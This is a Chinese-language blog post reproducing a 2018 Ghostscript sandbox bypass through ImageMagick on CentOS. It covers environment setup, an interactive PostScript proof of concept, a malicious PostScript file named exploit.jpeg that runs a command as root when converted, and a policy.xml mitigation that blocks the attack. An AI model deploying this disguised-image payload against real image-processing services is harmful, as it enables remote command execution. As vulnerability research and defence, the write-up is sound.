Ghostscript 任意代码执行

Author Avatar
xF0rk 8月 23, 2018

Ghostscript 存在多个安全漏洞可执行任意代码(无 CVE,也没有官方安全补丁),Ghostscript 是 Adobe PostScript 和 PDF 的解释语言,在 ImageMagick、GIMP 等软件程序中广泛应用。

环境搭建

大部分文章都没讲环境怎么搭建,就记录下我搭建环境的过程,测试环境是基于 Ghostscript + ImageMagick 来实现的,即需要安装 Ghostscript、ImageMagick,如下为测试系统为 Centos 7.5.1804

[[email protected] ~]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)

安装 Ghostscript 应用

从 Ghostscript 官网下载源码 链接,编译安装

解压源码
wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23.tar.gz
tar -xzvf ghostscript-9.23.tar.gz

编译安装
cd ghostscript-9.23/
./configure
make
make install

检查 Ghostscript 是否安装成功

[[email protected] ~]# gs
GPL Ghostscript 9.23 (2018-03-21)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
GS>

安装 ImageMagick 应用

从 ImageMagick 官网下载 RPM 包进行安装 链接,需要下载 ImageMagick-libs 和 ImageMagick 两个包,安装过程会提示缺少几个依赖包,使用 yum search 搜索或直接 google 离线下载依赖并安装

安装 ImageMagick libs
wget https://www.imagemagick.org/download/linux/CentOS/x86_64/ImageMagick-libs-7.0.8-10.x86_64.rpm
rpm -i ImageMagick-libs-7.0.8-10.x86_64.rpm

安装 ImageMagick
wget https://www.imagemagick.org/download/linux/CentOS/x86_64/ImageMagick-7.0.8-10.x86_64.rpm
rpm -i ImageMagick-7.0.8-10.x86_64.rpm

检查 ImageMagick convert 是否安装成功

[[email protected] tmp]# convert -version
Version: ImageMagick 7.0.8-10 Q16 x86_64 2018-08-13 https://www.imagemagick.org
Copyright: © 1999-2018 ImageMagick Studio LLC
License: https://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI Modules OpenMP
Delegates (built-in): bzlib cairo djvu fftw fontconfig fpx freetype gslib jbig jng jp2 jpeg lcms ltdl lzma openexr pangocairo png ps rsvg tiff webp wmf x xml zlib

第一次直接通过 YUM 安装 ImageMagick,convert 就一直没成功,后来换成官网下载 RPM 安装才成功了。

漏洞说明

/invalidaccess 在恢复失败后检查停止,可控制错误处理模块,执行任意命令代码,如下

[[email protected] tmp]# gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null*
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[[email protected] tmp]#

可构造恶意文件 exploit.jpeg

[[email protected] tmp]# cat exploit.jpeg
%!PS

userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
[[email protected] tmp]#

Centos 系统测试如下,依赖于 ImageMagick 应用的 convert 命令

[[email protected] tmp]# convert exploit.jpeg test.gif
uid=0(root) gid=0(root) 组=0(root) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[[email protected] tmp]#

修复方案

临时修复方案是在ImageMagick policy.xml中禁用PostScript、EPS、PDF以及XPS解码器(我的 policy.xml 文件在 /etc/ImageMagick-7/policy.xml ) 。

<policymap>
  <policy domain="coder" rights="none" pattern="PS" />
  <policy domain="coder" rights="none" pattern="EPS" />
  <policy domain="coder" rights="none" pattern="PDF" />
  <policy domain="coder" rights="none" pattern="XPS" />
</policymap>

如下所示,修改 ImageMagick 策略后,convert 转换图片时命令利用失败

[[email protected] tmp]# convert exploit.jpeg test.gif
convert: not authorized `exploit.jpeg' @ error/constitute.c/ReadImage/470.
convert: no images defined `test.gif' @ error/convert.c/ConvertImageCommand/3288.
[[email protected] tmp]#

参考链接

  1. Should we disable PS coders in policy.xml by default? 链接
  2. Ghostscript存在多个漏洞 可导致远程代码执行 链接